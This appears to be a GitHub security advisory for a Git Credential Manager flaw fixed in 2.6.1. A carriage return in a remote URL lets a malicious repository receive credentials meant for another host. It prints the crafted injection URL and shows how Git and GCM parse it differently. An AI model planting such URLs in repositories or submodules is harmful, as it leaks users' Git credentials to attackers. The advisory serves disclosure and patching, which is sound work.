GHSA-86c2-4x57-wc8g Git Credential Manager carriage-return character in remote URL allows malicious repository to leak credentials

• NuGet git-credential-manager: < 2.6.1 → fixed in 2.6.1

Description The Git credential protocol is text-based over standard input/output, and consists of a series of lines of key-value pairs in the format `key=value`. Git's documentation restricts the use of the NUL (`\0`) character and newlines to form part of the keys[^1] or values. When Git reads from standard input, it considers both LF and CRLF[^2] as newline characters for the credential protocol by virtue of calling `strbuf_getline` that calls to `strbuf_getdelim_strip_crlf`. Git also validates that a newline is not present in the value by checking for the presence of the line-feed character (LF, `\n`), and errors if this is the case. This captures both LF and CRLF-type newlines. Git Credential Manager uses the .NET standard library `StreamReader` class to read the standard input stream line-by-line and parse the `key=value` credential protocol format. The implementation of the `ReadLineAsync` method considers LF, CRLF, and CR as valid line endings. This is means that .NET considers a single CR as a valid newline character, whereas Git does not. This mismatch of newline treatment between Git and GCM means that an attacker can craft a malicious remote URL such as: ``` https://\rhost=targethost@badhost ``` ..which will be interpreted by Git as: ``` protocol=https host=badhost username=\rhost=targethost ``` This will instead be parsed by GCM as if the following has been passed by Git: ``` protocol=https host=badhost username= host=targethost ``` This results in the `host` field being resolved to the `targethost` value. GCM will then return a credential for `targethost` to Git, which will then send this credential to the `badhost` host. Impact When a user clones or otherwise interacts[^3] with a malicious repository that requires authentication, the attacker can capture credentials for another Git remote. The attack is also heightened when cloning from repositories with submodules when using the `--recursive` clone option as the user is not able to inspect the submodule remote URLs beforehand. Patches https://github.com/git-ecosystem/git-credential-manager/compare/749e287571c78a2b61f926ccce6a707050871ab8...99e2f7f60e7364fe807e7925f361a81f3c47bd1b Workarounds Only interacting with trusted remote repositories, and do not clone with `--recursive` to allow inspection of any submodule URLs before cloning those submodules. Fixed versions This issue is fixed as of version 2.6.1. [^1]: The `=` character is also forbidden to form part of the key. [^2]: Carriage-return character (CR, `\r`), followed by a line-feed character. [^3]: Any remote operation such as `fetch`, `ls-remote`, etc.